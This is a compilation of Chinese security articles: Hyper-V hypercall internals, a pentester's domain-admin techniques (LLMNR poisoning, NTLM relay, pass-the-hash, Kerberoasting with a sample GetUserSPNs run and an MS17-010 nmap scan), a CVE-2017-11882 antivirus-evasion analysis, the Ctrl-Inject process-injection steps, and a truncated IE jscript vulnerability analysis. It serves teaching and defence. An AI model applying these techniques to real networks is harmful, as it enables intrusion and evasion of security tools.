在VTL0和VTL1之间的内核通信使用Hyper-V
hypercall。这些hypercall通过VMCALL指令执行，同时hypercall调用号存储在RCX寄存器，且RDX指向一个包含参数的Guest物理页（GPA）。如果RCX是0x10000，这个hypercall是一个“快速”hypercall，参数和返回值存储在XMM寄存器中。为了执行这个调用，Windows使用一个hypercall跳板，它是一个小的执行VMCALL和RET的fastcall例程。
这个例程存储在“hypercall页“。这个页包含5个跳板，并且在它启动时由Hyper-V提供给winload.efi，其将在VTL0和VTL1地址空间中复制它。这5个跳板的主要不同点是第一个只有VMCALL/RET，但是下面四个（他们连续存储）都是将RCX存储到RAX，然后将一个固定的值存入RCX。第二和第三个的固定值是0x11，其他的是0x12。
这四个跳板被不同的VTL使用。每个内核可能使用一个专门的hypercall向Hyper-V请求0xD0002虚拟处理器寄存器的值（Hyper-V内部值，可以用来查询或设置标识符），这将返回两个偏移。这些偏移与hypercall页相关，并且在内核调用正确的跳板时使用。实际上，VTL1和VTL0使用0x11跳板来相互通信，VTL1使用0x12跳板来完成它的初始化。
Hypercall页的内容如下：
可以看到5个跳板，分别在偏移0x00，0x04，0x0F，0x1D和0x28处。注意他们的内容可以使用WinDbg在崩溃转储时获得，或者从Hyper-V二进制（适用于Intel / AMD的Hvix64.exe / hvax64.exe）内部码中获得。
注意：几个hypercall可以指定RCX的高位的DWORD的12个最低有效位中的数据大小。这个大小不是以字节为单位的数据大小，但是与当前调用有关，可能表示入口次数等。
对于一个hypercall的例子，VTL1的ShvlProtectContiguousPages的hypercall（12）的参数是下面的一个结构体：
为了告诉Hyper-V
pfn的参数大小，RCX的高位DWORD必须包含它的元素数量。对于只有一个入口和快速hypercall来说，RCX的值将是0x10010000C。
**0x02 安全内核的hypercall**
两个VTL能够执行多个hypercall，以便和Hyper-V通信。他们可能执行相同的hypercall，但是Hyper-V将拒绝一些来自VTL0调用的hypercall。两个VTL也使用一个专门的hypercall来相互通信。总结见下图：
让我们首先描述“VTL1到Hyper-V“的hypercall（绿色的）。我们将描述0x11的hypercall。
VTL1使用3种hypercall跳板：
ShvlpHypercallCodePage，等价于NTOS的HvlpHypercallCodePage（偏移0），并且指向第一个跳板
ShvlpVtlReturn，将0x11传给RCX，使得VTL0和VTL1可以通信
ShvlpVtlCall，将0x12传给RCX，只在VTL1初始化时使用
后两个使用0xD0002虚拟寄存器得到（ShvlpGetVpRegister返回值的低24位，每个偏移是一个12位的长度）。这两个偏移指向0x11和0x12跳板。
顺便说一句，VTL0
NTOS内核使用同一进程得到它的HvlpVsmVtlCallCodeVa值（用来VTL0和VTL1通信的hypercall跳板），但是得到的是颠倒的结果。这是为什么我们相信使用这些跳板，任何VM能从Hyper-V得到相同的hypercall页，并且能请求到虚拟寄存器的值。Hyper-V将根据VTL或VM返回不同的偏移。
下表是可能的VTL1 hypercall：
**0x03 VTL0和VTL1的转换**
几乎所有的NTOS
的“Vsl“前缀的函数都以VslpEnterIumSecureMode结尾，伴随着一个安全服务调用号（SSCN）。这个函数调用HvlSwitchToVsmVtl1，它使用HvlpVsmVtlCallVa
hypercall跳板（通常的hypercall使用HvcallCodeVa跳板）。SSCN被复制到RAX，RCX设置为0x11。
Hyper-V分发0x11
hypercall到securekernel.exe的函数SkpReturnFromNormalMode，然后调用IumInvokeSecureService（实际上我们不确定IumInvokeSecureService有没有被直接调用，我们认为SkpReturnFromNormalMode一定被调用了，以便在安全服务调用完成后使IumInvokeSecureService返回到VTL0）。IumInvokeSecureService是一个大的switch/case块，处理所有的SSCN。
最后，SkCallNormalMode被调用，以SkpPrepareForReturnToNormalMode结尾。实际上，安全内核的NTOS调用被认为是“假的返回“到VTL0，因为他们也包含了0x11的hypercall。
我们已经确认了所有的可能的SSCN。对于每一个，我们都指出了调用函数名。但是相应的参数必须通过逆向VTL0的调用者或VTL1的调用源来确定。
如你所见，几个调用函数是未知的。这是因为他们没有执行明显的调用，我们没有花大量时间去继续分析。
**0x04 总结**
本文描述了基于虚拟化的安全的VTL0-VTL1的内核通信。
如果你想知道更多的关于Hyper-V的信息，你能读下面两篇文章：
[http://hvinternals.blogspot.fr/2015/10/hyper-v-debugging-for-beginners.html](http://hvinternals.blogspot.fr/2015/10/hyper-v-debugging-for-beginners.html)
[http://hvinternals.blogspot.fr/2015/10/hyper-v-internals.html](http://hvinternals.blogspot.fr/2015/10/hyper-v-internals.html)
下面的计划，我们将发布第三篇关于VBS的文章，将聚焦于HVCI内部，尤其是[W^X](https://en.wikipedia.org/wiki/W%5EX)VTL0内核保护。
**传送门**
* * *
[**【技术分享】基于虚拟化的安全（part1）：引导过程**
****](http://bobao.360.cn/learning/detail/3493.html) | 社区文章 |
## 前言
我有一个骚想法:这么多年来，我一直从事安全方面的工作，提供了很多的渗透测试服务和红队服务。
我一开始做渗透的时候也能很快拿到DC权限。
2013年9月，Spider Labs写了一篇文章，标题是[通过SpiderLabs在内网中拿到DC的五种方法
](https://www.trustwave.com/Resources/SpiderLabs-Blog/Top-Five-Ways-SpiderLabs-Got-Domain-Admin-on-Your-Internal-Network/)。
这篇文章就当作是它的后续吧。
## Netbios和LLMNR名称中毒
虽然说`Netbios/LLMNR`并不像2013年那样普及,但是绝大多数的测试都会导致安全评估人员获得`NTLMv1和NTLMv2`哈希并恢复成可用的凭据。
现在有一些高级框架可以进行暴力破解，例如[hate_crack](https://github.com/trustedsec/hate_crack)。
我自己的话使用一些自己搜集的常用字典就很容易成功破解：[uniqpass
](https://webcache.googleusercontent.com/search?q=cache:BV8AEB0cWtcJ:https://dazzlepod.com/uniqpass/+&cd=1&hl=en&ct=clnk&gl=us)和常见hashcat规则集`best64`,但遇到复杂的密码，就没办法了。
[Responder](https://github.com/SpiderLabs/Responder)，可以说是首选用来进行中间人攻击的工具。它仍由Laurent
Gaffie维护。
[Inveigh](https://github.com/Kevin-Robertson/Inveigh)，它是基于`Unix/Linux` 下
python版本的Responder，可以运行在原生的Windows上。
`Inveigh`的核心是一个`.NET`数据包嗅探器，它监听并响应`LLMNR/mDNS/NBNS`请求，同时还通过`Windows
SMB服务`抓取`NTLMv1/NTLMv2`的身份验证数据包。
在windows环境中，这两种中间人工具包适用于渗透测试人员和`red team`,
## 重放攻击
较新的中间人重放工具主要由Laurent Gaffie维护，专门为SMB重放攻击制作的。
我个人更喜欢[impacket](https://github.com/CoreSecurity/impacket)的工具，用于重放攻击和其他渗透测试需求。我发现Impacket的工具在大多数unix上都是可靠而且稳定的，并且可以在Mac
OS上本地运行。与其他免费开源工具相比，其他工具在主机上执行时会留下相对较小的痕迹(如果担心被发现或者对抗蓝队）。
### SMB重放攻击解释
[smbrelayx.py](https://github.com/CoreSecurity/impacket/blob/impacket_0_9_15/examples/smbrelayx.py)
这个模块是最初由cDc发现的SMB中继攻击而开发的。
它接收目标列表，对于收到的每一个连接，它选择要通信的目标并尝试重放凭证。 除此之外，如果指定，它将首先针对连接到我们的客户端进行身份验证。
然后通过调用SMB和HTTP Server,hook一些函数然后使用smbclient的一部分来实现。
它应该适用于任何LM兼容级别。
阻止此攻击的唯一方法是强制让服务器进行SPN检查或者检查签名，然后SMB重放攻击就GG。
如果客户端身份验证成功以及针对本地smbserver设置的有效连接。 用户可以设置本地smbserver功能。
一种选择是使用你希望受害者认为他连接到的是有效SMB服务器的文件，然后来设置共享。
这些操作都是通过smb.conf文件或以编程方式完成的。
### NTLM重放攻击解释
[ntlmrelayx.py](https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py)
NTLM身份验证是一种基于`challenge-response` 的协议。 `challenge-response`协议使用共同的密钥，在这种情况下：用用户的密码去验证客户端。 服务器发送一个challenge，客户端回复此challenge的响应。
如果challenge与服务器计算的challenge相匹配，则接受身份验证。 NTLM身份验证是一种复杂的协议，这里解释的是简化。
可以在<http://davenport.sourceforge.net/ntlm.html找到非常好的详细描述。>
> ps:倾旋的博客讲的很详细：
质询的完整过程：
1.客户端向服务器端发送用户信息(用户名)请求
2.服务器接受到请求，生成一个16位的随机数，被称之为“Challenge”， 使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符)， 生成Challenge1。同时，生成Challenge1后，将Challenge(16位随机 字符)发送给客户端。
3.客户端接受到Challenge后，使用将要登录到账户对应的NTLM Hash加密Challenge生成Response，然后将Response发送至服务器端。
其中，经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash。
验证： 服务器端收到客户端的Response后，比对Chanllenge1与Response是否相等，若相等，则认证通过。
SMBRelay和较新的攻击都利用了SMB签名，允许高权限用户通过`SMB/NTLM`身份验证机制进行身份验证。
记得注意不同网络上的Windows主机列表中包含的目标。
我有一个很好的技巧是以随机方式创建非smb签名主机的目标列表。
这些主机，可以让我更快的获取到域管理员允许域用户本地管理员访问与域控制器并且共享的是相同本地管理员密码的SQL服务器。
**默认情况下，如果未指定要执行的二进制文件，则ntlmrealyx将运行secretsdumps。**
成功完成NTLM重放后，您将在执行ntmrelayx的目录中找到名为`IP_samhashes`的哈希文件。
使用impacket的wmiexec.py文件执行pass-the-hash,因为我们此时有了管理员的hash值。
在上面的场景中，我能够将凭据从一个网络重放到另一个网络，然后使用wmiexec.py进行hash传递。
这个管理员的hash让我不用再去破解密码，甚至还拥有一个高权限的账户。
## MS17-010
nmap -Pn -p445 - open - max-hostgroup 3 - smb-vuln-ms17-010 script <ip_netblock>
<https://isc.sans.edu/forums/diary/Using+nmap+to+scan+for+MS17010+CVE20170143+EternalBlue/22574/>
445这个洞就不多说了，内网的情况下很容易利用，具体也要看目标环境。
## [Kerberoasting](https://www.blackhillsinfosec.com/a-toast-to-kerberoast/)
我使用Kerberoasting这个攻击手段在Active Directory域环境中成功的提权。 Tim Medin在2014年SANS
Hackfest上展示了这项技术，
从那以后，有了很多关于攻击细节的精彩文章和讨论以及不同的技术工具。
Microsoft的Kerberos实现可能有点复杂，但攻击的重点是它利用了老版Windows客户端的Active
Directory支持以及所使用的加密类型以及用于加密和签署Kerberos票据的密钥材料。
实质上，当域帐户配置为在环境中运行服务（例如MSSQL）时，域中将使用服务主体名称（SPN）将服务与登录帐户相关联。
当用户希望使用特定资源时，他们会收到使用运行该服务的帐户的NTLM哈希签名的Kerberos票据。
下面是一个来自mubix's website的例子：
root@wpad:~/impacket/examples# ./GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin
Impacket v0.9.15-dev - Copyright 2002-2016 Core Security Technologies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------------- ---------- ------------------------------------------------ ------------------- http/win10.sittingduck.info uberuser CN=Domain Admins,CN=Users,DC=sittingduck,DC=info 2015-11-10 23:47:21
MSSQLSvc/WIN2K8R2.sittingduck.info sqladmin01 2016-05-13 19:13:20
## mitm6
Mitm6是一个非常强大的工具，用于获取和提升比较典型Windows的广播网络的权限。
当上面的手段失败时; 尝试使用smbrelay + mitm6或它的默认对应物ntlmreayx。
多思考，想办法尽快拿下DC。
ntlmrelayx：
>
> mitm6主要与ntlmrelayx一起使用，应该互相同时运行，在这种情况下，它会欺骗DNS服务器，导致受害者连接到ntlmrelayx然后进行HTTP和SMB连接。为此，您必须确保使用`-6option`运行ntlmrelayx，这将使其在IPv4和IPv6上进行监听。要获取WPAD的凭据，请使用-`wh
> HOSTNAME`指定要欺骗的WPAD主机名（由于DNS服务器是mitm6，因此本地域中的任何不存在的主机名都将起作用）。或者，如果您怀疑目标没有打MS16-077的补丁，您还可以使用`-wa
> Nparameter`尝试提示WPAD文件本身的身份验证。
>
>
> mitm6是一个测试工具，它利用Windows的默认配置来接管默认的DNS服务器。它通过回应DHCPv6消息，为受害者提供链路本地IPv6地址并将攻击者主机设置为默认DNS服务器来实现此目的。
> DNS服务器mitm6将有选择地回复攻击者选择的DNS查询，并将受害者流量重定向到攻击者计算机而不是正常的服务器。有关攻击的完整说明，请参阅我们[关于mitm6的博客](blog
> about mitm6 .)。 Mitm6主要用来与impacket的ntlmrelayx一起工作，用于WPAD欺骗和凭证重放。
参考如下：
本博客的许多部分都是直接引用并从以下来源复制而来。
所有的成就都是归功于前人之上。
做一个有责任的hacker！
referer：
<https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS17-010/ms17_010_eternalblue.rb>
<https://room362.com/post/2016/kerberoast-pt1/>
<https://isc.sans.edu/forums/diary/Using+nmap+to+scan+for+MS17010+CVE20170143+EternalBlue/22574>
<https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/>
<https://www.blackhillsinfosec.com/a-toast-to-kerberoast/>
<https://github.com/fox-it/mitm6>
<https://github.com/purpleteam/snarf>
<https://github.com/Kevin-Robertson/Inveigh>
<https://github.com/lgandx/Responder>
<https://1337red.wordpress.com/using-a-scf-file-to-gather-hashes/>
原文链接:https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa | 社区文章 |
# 利用Office公式编辑器特殊处理逻辑的免杀技术分析（CVE-2017-11882）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2018年8月24日，360威胁情报中心捕获到一个专门为乌克兰语使用者设计的钓鱼文档：该文档为RTF文件格式，且有详细的文档内容。360威胁情报中心经过分析确认这是首次发现的针对Office公式编辑器特殊处理逻辑而专门设计的用于绕过杀毒软件查杀的漏洞利用样本，涉及的漏洞正是CVE-2017-11882。
由于漏洞触发后的Payload已失效，360威胁情报中心在本文中专门针对样本使用的特殊免杀技术进行详细分析，并提醒各杀毒软件厂商做好针对该利用方式的检测。由于该免杀技术已经出现在在野利用的样本中，后续可能会有大量实际攻击样本使用该免杀手段逃过杀软检测，形成新的威胁。
文档内容
Google内容翻译
## 免杀效果及样本特点
### 免杀效果
捕获到的样本在VirusTotal上查杀效果如下，首次上传时仅有4家杀软可以查杀，且仅有两家杀软能正确识别漏洞，如果稍加改动几乎可以躲过所有杀软的查杀：
### 样本特点-特殊的公式对象OLE
捕获到的特殊样本在RTF控制字“\objdata”的header后面居然不是一个Compound File Binary
Format（复合二进制文档）流，其紧跟的直接就是公式对象的数据（MTEF data），甚至连公式对象的头部数据（Equation Native
Header）都没有：
而这样一个“畸形”的CVE-2017-11882漏洞利用文档，竟然能成功触发漏洞利用。
我们先复习一下正常的RTF文档中利用Office公式编辑器漏洞的方式，以CVE-2017-11882为例：
首先，RTF文档中会被插入一个objdata，紧跟在RTF控制字“\objdata”后，随后的数据结构为4字节的版本标识、format_id（embed代表嵌入式）、OLE流名字（Equation.3）等等：
**Header：**
01050000 // version
02000000 // format_id (embed)
0b000000
4571756174696f6e2e3300 // "Equation.3" could be anything
0000000000000000
410f0000 // data length
在“\objdata”的header后紧跟OLE对象流，可以看到其特殊的Compound File Binary Format（复合二进制文档）标识：D0
CF 11 E0 …
紧跟的OLE对象流是一个复合二进制文件（Compound File Binary Format），通过解析可以看到这是一个Office
公式3.0编辑器对象，Root Entry带有一个公式编辑器的CLSID {0002CE02-0000-0000-C000-000000000046}：
包含的Office 公式3.0编辑器对象由公式头+公式数据组成：
360威胁情报中心针对该特殊的漏洞利用技术进行了详细分析，整个分析过程如下。
## Office处理RTF中\objdata对象的流程
带着Office为什么可以正确处理嵌入的非OLE对象（且该对象是一个没有公式头的公式对象）这一疑问，我们详细分析了Office处理RTF文档中嵌入的\objdata对象的过程，整个处理过程可以用以下流程图表示：
从整个流程来看，当WINWORD.EXE加载RTF文件并解析RTF文件格式后会调用函数ole32!OleConvertOLESTREAMToIStorage将指定的对象从OLE
1存储模型转换为OLE 2结构化存储对象。其内部调用的ole32!wConvertOLESTREAMTOIStorage负责从RTF文件中解析、转换OLE
1对象到OLE 2存储对象，最后ole32! GenericObjectToIStorage函数负责将OLE
2存储对象通过剪切板的方式传送给EquEdt32.exe进程处理：
首先ole32!wConvertOLESTREAMTOIStorage函数将具体事务交给Ole32! OLESTREAMToGenericObject：
Ole32! OLESTREAMToGenericObject函数会完成OLE
1对象读取及转换，内部会调用OLE1StreamToUL和OLE1StmToString（内部也调用OLE1StreamToUL函数）读取OLE1对象Version、format_id、Class
Name(Prog ID)、static object、linked nor an
embedde、topic、Item、NativeData等信息，也就是处理\objdata的header部分：
同样可以通过oletools的rtfobj工具查看对应的\objdata得到相同信息：
进一步会判断format_id是否为FMTID_EMBED（linked nor
embedde），然后调用wCLSIDFromOle1Class函数读取Ole1对象的CLSID：
wCLSIDFromOle1Class函数判断传入的szProgID是否是名字为“OLE2Link”的对象，如果是则返回CLSID_StdOleLink，否则交给代理函数CLSIDFromOle1Class转换Ole1的流名字到对应的CLSID（也就是转换流名称Equation.3到对应的clsid）：
CLSIDFromOle1Class交给代理函数wCLSIDFromOle1Class处理：
wCLSIDFromOle1Class函数将打开注册表HKEY_CLASSES_ROOT\\[szProgID]（此处为HKEY_CLASSES_ROOT\Equation.3）查询其CLSID，如果查询成功则调用wGUIDFromString函数得到GUID返回：
如果通过流名称查询不到CLSID则调用Ole10_CLSIDFromString函数遍历OLE32中内置的Object名称，发现相同则返回其CLSID：
ole32! GenericObjectToIStorage函数根据返回的CLSID注册剪切板，并把OLE 2数据写入剪切板：
随后WINWORD.EXE会调用ole32!Load函数加载该CLSID对应的对象，最终定位到函数ole32!CoIsOle1Class，该函数判断CLSID是不是有效的Ole1Class对象，不是有效的Ole1Class对象则直接返回，是有效的Ole1Class对象则调用接口处理剪切板数据，以下是加载处理公式对象的过程：
特别注意的是，WINWORD.EXE在调用ole32!OleLoad函数前，会解析CFB文件将CFB文件的流对象写入剪切板并且将Embedded对象数据块（即d0cf11e0a1b11ae10对应的块）的Clsid值覆盖之前通过ProgID获取的Clsid，也就是最终以Embedded对象数据块内的clsid为准：
## 公式编辑器（Equation）处理公式数据的特殊逻辑
最后，Office将公式对象数据传递给Equation处理：
EquEdt32.exe进程能够处理两种流，分别是Equation Native和01Ole10Native流，Equation
Native是较为常见的流格式，一般以0x1C开头。而01Ole10Native流在EquEdt32.exe打开Equation
Native流失败的情况下才使用：
随后会根据打开的流读取流内容， 如果是01Ole10Native流则先读取4字节流大小，如果不是则读取0x1C字节大小的Equation
Native头，然后才从Equation Native头解析流01Ole10Native大小，最后分配内存用于读取01Ole10Native流数据：
可以看到，本次捕获到的免杀样本在处理过程中，由于读取Equation
Native失败，所以Equation通过读取01Ole10Native流大小来直接处理后面附加的公式数据（03010103…）：
随后再次调用IStream::Read(coml2!CExposedStream::Read)函数读取流数据：
最后将流数据传入sub_42F8FF函数实现具体01Ole10Native流处理，最终成功触发漏洞：
## 总结免杀原理
我们回顾Office处理RTF中\objdata对象的流程可以总结出该免杀样本触发Equation漏洞的过程：
1. 攻击者在\objdata后附带非CFB格式的数据（只有公式数据的01Ole10Native流），迫使Office通过\objdata header中的流名字（Equation.3）来查找对应处理的clsid，转入处理流程。
2. 由于附带的是公式对象的01Ole10Native流（030101…部分数据），所以EquEdt32.exe进程打开Equation Native流失败，转而以\objdata header中指定的数据长度直接处理01Ole10Native流，触发漏洞利用。
由于该免杀样本\objdata后附带非CFB格式的数据（D0 CF
11…），而正常情况必然是携带的CFB数据，并且以CFB数据中获取的clsid为准寻找处理该对象的程序（如Equation），这直接导致绕过大部分杀软的检测逻辑。并且后续的公式数据没有公式对象头等特征，也使得部分杀软抓瞎，这是该样本绕过杀软检测的主要原因。
## IOC
MD50a8efb742ef488bcb8ccd6b616125eea
## 参考
[1].[https://ti.360.net](https://ti.360.net/)
[2].<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-11882>
[3].<https://github.com/Paolo-Maffei/OpenNT/blob/5c5b979ec08c17d3ca2eb70e8aad62d26515d01c/com/ole32/ole232/ole1/ostm2stg.cpp> | 社区文章 |
# 针对新型进程注入技术Ctrl-Inject的原理分析
|
##### 译文声明
本文是翻译文章，文章来源：https://blog.ensilo.com/
原文地址：<https://blog.ensilo.com/ctrl-inject>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在本文中，我们将主要介绍一种新型的进程注入方法，我们称之为“Ctrl-Inject”，它利用控制台应用程序中处理Ctrl信号的机制实现注入。在研究的过程中，我们在浏览MSDN时发现有一条关于Ctrl信号处理的相关评论：
“这是一个与SetConsoleCtrlHandler函数（ <https://docs.microsoft.com/en-us/windows/console/setconsolectrlhandler>
）一起使用的函数，由应用程序定义。控制台进程使用此函数来处理进程收到的控制信号。当收到信号后，系统会在进程中启动一个新的线程来执行该函数。”
这也就意味着，每次我们触发一个信号到一个基于控制台的进程时，系统都会调用一个在新线程中调用的处理函数。正因如此，我们可以借助这一特点，来实现一个不同于以往的进程注入。
## 控制信号处理
当用户或进程向基于控制台的进程（例如cmd.exe或powershell.exe）发送Ctrl +
C（或Break）信号时，系统进程csrss.exe将会在目标进程中创建一个新的线程来调用函数CtrlRoutine。
CtrlRoutine函数负责包装使用SetConsoleCtrlHandler的处理程序。接下来，我们深入研究一下CtrlRoutine，首先注意到了下面这段代码：
该函数使用名为HandlerList的全局变量来存储回调函数列表，在该函数中会循环执行，直到其中一个处理程序返回TRUE（通知该信号已被处理）为止。
为了使处理程序成功执行，它必须满足以下条件：
1、函数指针必须正确编码。处理程序列表中的每个指针都使用RtlEncodePointer进行编码，并在执行之前使用RtlDecodePointer
API进行解码。因此，未经编码的指针很有可能会导致程序崩溃。
2、指向有效的CFG（Control Flow Guard，控制流防护）目标。CFG通过验证间接调用的目标是否为有效函数，来尝试对间接调用进行保护。
我们来看一下SetConsoleCtrlHandle，看看它如何设置一个Ctrl处理程序，以便我们以后可以模仿其方式。在下图中，我们可以看到各个指针在添加到HandlerList之前是如何编码的。
接下来，我们看到了一个名为SetCtrlHandler的内部函数调用。该函数更新了两个变量：一个是HandlerList，用于添加一个新的指针；另一个全局变量是HandlerListLength，增加了它的长度以适应新的列表大小。
现在，由于HandlerList和HandlerListLength变量驻留在kernelbase.dll模块中，并且该模块会映射到所有进程的相同地址，所以我们可以在进程中找到它们的地址，然后使用WriteProcessMemory在远程进程中更新它们的值。
我们的工作还没有完成，考虑到CFG和指针编码的存在，我们需要找到一种方法来绕过它们。
## 绕过指针编码
在Windows
10之前的版本中，我们需要理解指针编码、解码的工作原理，从而应对指针编码保护。接下来，我们一起深入了解一下EncodePointer的工作原理。
最开始，存在一个对NtQueryInformationProcess的调用，其定义如下：
NTSTATUS WINAPI NtQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
根据上述定义，我们可以做出以下假设：
1、ProcessHandle：当传递-1的值时，它代表引用调用进程的函数。
2、ProcessInformationClass：该参数的值为0x24，这是一个未公开的值，要求内核检索进程加密Cookie。Cookie本身驻留在EPROCESS结构中。
在检索加密Cookie后，我们可以看到几个涉及输入指针和加密Cookie的操作。具体为：
EncodedPointer = (OriginalPointer ^ SecretCookie) >> (SecretCookie & 0x1F)
一种绕过的方法，是使用CreateRemoteThread执行RtlEncodePointer，并将NULL作为参数传递给它，如下所示：
1) EncodedPointer = (0 ^ SecretCookie) >> (SecretCookie & 0x1F)
2) EncodedPointer = SecretCookie >> (SecretCookie & 0x1F)
这样一来，返回值将被Cookie旋转的值增加到31倍（在64位Windows
10环境上该值为63，即0x3f）。如果我们在目标进程上使用已知的编码地址，就能够暴力猜测出原始Cookie值。以下代码展示了如何对Cookie进行暴力猜测：
在Windows
10及以上版本中，微软非常慷慨地为我们提供了一组新的API，称为RtlEncodeRemotePointer和RtlDecodeRemotePointer。
顾名思义，我们传递一个进程句柄和一个指针，该API将会为目标进程返回一个有效的编码后指针。
此外，还有另一种提取Cookie的技术，请参考： <https://github.com/changeofpace/Remote-Process-Cookie-for-Windows-7/blob/master/Remote%20Process%20Cookie%20for%20Windows%207/main.cpp>
。
## 绕过CFG
到目前为止，我们已经将我们的代码注入到目标进程，并修改了HandlerList和HandlerListLength的值。如果我们现在尝试发送Ctrl+C信号来触发代码，该进程会引发异常，最终自行终止。其原因在于，CFG会注意到我们正在尝试跳转到一个非有效调用目标的指针。
幸运的是，微软对我们一直非常友善，他们发布了另外一个有用的API，名为SetProcessValidCallTargets。
WINAPI SetProcessValidCallTargets(
_In_ HANDLE hProcess,
_In_ PVOID VirtualAddress,
_In_ SIZE_T RegionSize,
_In_ ULONG NumberOfOffsets,
_Inout_ PCFG_CALL_TARGET_INFO OffsetInformation
);
简而言之，我们传递进程句柄和指针后，该API会将其设置为有效的调用目标。此外，如果使用我们此前介绍过的（
<https://blog.ensilo.com/documenting-the-undocumented-adding-cfg-exceptions>
）未记录的API也可以实现这一点。
## 触发Ctrl+C事件
现在一切准备就绪，我们需要做的就是在目标进程上触发Ctrl +
C，以调用我们的代码。有几种方法可以触发它。在这种情况下，我们可以使用SendInput的组合，来触发系统范围的Ctrl键按键，以及用于发送C键的PostMessage。同样，也适用于隐藏或不可见的控制台窗口。以下是触发Ctrl-C信号的函数：
## 揭秘底层
从实质上来说，在这个进程注入技术中，我们将代码注入到目标进程中，但是我们从不直接调用它。也就是说，我们从来没有自己调用CreateRemoteThread或使用SetThreadContext改变执行流。相反，我们正在让csrss.exe为我们调用它，这样一来就显得是一个正常的行为，不会被怀疑。
其原因在于，每次将Ctrl + C信号发送到基于控制台的应用程序时，conhost.exe会调用类似于调用堆栈的内容，如下所示：
其中，CsrClientCallServer会传递一个唯一索引标识符（0x30401），然后将其传递给csrss.exe服务。
在其中，会从调度表中调用一个名为SrvEndTask的函数。调用链具体如下：
在这个调用链的最后，我们看到了RtlCreateUserThread，它负责在目标进程上执行我们的线程。
注意：尽管Ctrl-Inject技术仅针对于控制台应用程序，但也可能会在很多控制台应用程序上被滥用，最值得注意的就是cmd.exe。
## 总结
现在，我们已经了解了这个新型的进程注入方法，掌握了该方法的工作原理以及其背后到底发生了什么。在最后，我们可以总结一下Ctrl-Inject技术。这种技术与传统线程注入技术相比，主要优点是远程线程是由可信的Windows进程csrss.exe创建，这使得它得隐蔽性更强。但同样存在缺点，就是这种方法仅适用于控制台应用程序。
要进行这种进程注入技术，所需的步骤如下：
1、将OpenProcess附加到控制台进程。
2、通过调用VirtualAllocEx，为恶意负载分配一个新的缓冲区。
3、使用WriteProcessMemory将数据写入分配的缓冲区。
4、使用目标进程cookie将指针指向指定的缓冲区。通过调用带有空指针的RtlEncodePointer并手动编码指针或通过调用RtlEncodeRemotePointer来实现。
5、通知远程进程，新指针是可以使用SetProcessValidCallTargets的有效指针。
6、最后，使用PostMessage和SendInput的组合触发Ctrl + C信号。
7、恢复原始处理程序列表。 | 社区文章 |
最近，微软的Internet
Explorer脚本引擎中被爆出一个可能导致远程代码执行的漏洞，之后相关人员对其进行了修补工作。该漏洞是由谷歌漏洞分析小组的人员经过研究发现的，并发报告声明其正在被黑客组织利用。为此，微软特意在正常补丁更新周期外发布了修复程序。McAfee的产品也同样进行了补丁更新，便于后期对漏洞进行管理。
远程攻击者可以通过特定的网站并使用版本9到11的Internet
Explorer浏览器。除此之外，恶意网络上的攻击者同样可以使用带有攻击脚本引擎（jscript.dll）的Web代理自动进行发现服务。不过Microsoft
Edge不会受影响，然而在应用Microsoft进行安全修补程序之前，其他包含脚本引擎的Windows应用程序可能会受到攻击。
### 主要内容
由于Internet Explorer漏洞可以在远程或本地触发，所以攻击者总是会针对这些没有打补丁的漏洞进行攻击。
这就是为什么犯罪分子常常将这些漏洞整合到漏洞利用工具包中的原因，只有如此，这些工具包便能传播恶意软件并针对受感染的主机进行进一步恶意活动。漏洞工具包是用于跟踪此类漏洞并确保此漏洞的安全补丁被及时补上。
在2018年，研究团队在Microsoft脚本引擎（Internet
Explorer或Edge）中发现了100多个内存损坏漏洞。如果要获取更详细信息，请访问MITRE网站。 （对于纵深防御，McAfee Endpoint
Security或McAfee Host Intrusion Prevention等产品可以检测并修补此类威胁，直到有相关补丁程序发布。）
CVE公司一旦发布了CVE的ID，网络犯罪分子可能只需要几周（或在某些情况下几天）的时间将其集成到他们的漏洞利用工具包中。例如，CVE-2018-8174最初是在4月底由两位安全研究人员向微软报告的，之后微软在一周内于5月初发布了一份公告。同时，研究人员发表了他们对该漏洞的安全性分析。仅仅两周后，一个验证漏洞就被公开发布。在接下来的几周内，漏洞利用工具包`RIG和Magnitude`将此漏洞进行集成，更新了他们的攻击套件。
网络犯罪分子经过了不到一个月的时间就将微软最初披露的漏洞放入攻击包中。因此，我们的研究人员需要了解这些攻击都需要什么媒介，之后要采取相应的措施以便能在严重损失产生前进行有效的制止。
### 技术细节
`jscript.dll` IE脚本引擎是经过研究人员大量审核的代码库：
* <https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html>
* <https://www.exploit-db.com/search?q=jscript>
对于CVE
2018-8653来说，经过研究人员充分的研究发掘后，它的漏洞利用点拥有了更多的变化。其采用了三种看似不常见的变化手段，使其漏洞利用更为简便。使用常规手段去探测Microsoft的扩展引擎会触发一个较为少见的代码路径，而在该路径下会存在某些不常见的参数用于对函数的调用。这会使黑客更便捷的进行攻击。
枚举对象：此漏洞的入口点是针对Microsoft的扩展程序，即枚举对象。
它提供了一个API来枚举属于Windows的隐藏对象（主要是ActiveX组件，例如用于列出系统上驱动器的文件系统）。
但是，它也可以在JavaScript数组上调用。 在这种情况下，攻击者可以照常访问数组成员，但以这种方式创建的对象在内存中的存储方式有所不同。
通过调用`Enumerator.prototype.item()`函数创建的对象会被识别为ActiveXObject，如在创建`eObj`的过程中所见，我们可以在某些情况下覆盖为只读属性的“prototype”成员。
**意外的发现** ：覆盖ActiveXObject函数的原功能看起来是没有威胁的，但是攻击者可以利用它来访问不可访问的代码路径。
使用`“instanceof”`方法时，我们可以看到其右侧需要一个函数。
但是，对于特殊的对象，`instanceof`可以调用成功并且可以控制正在执行的代码。
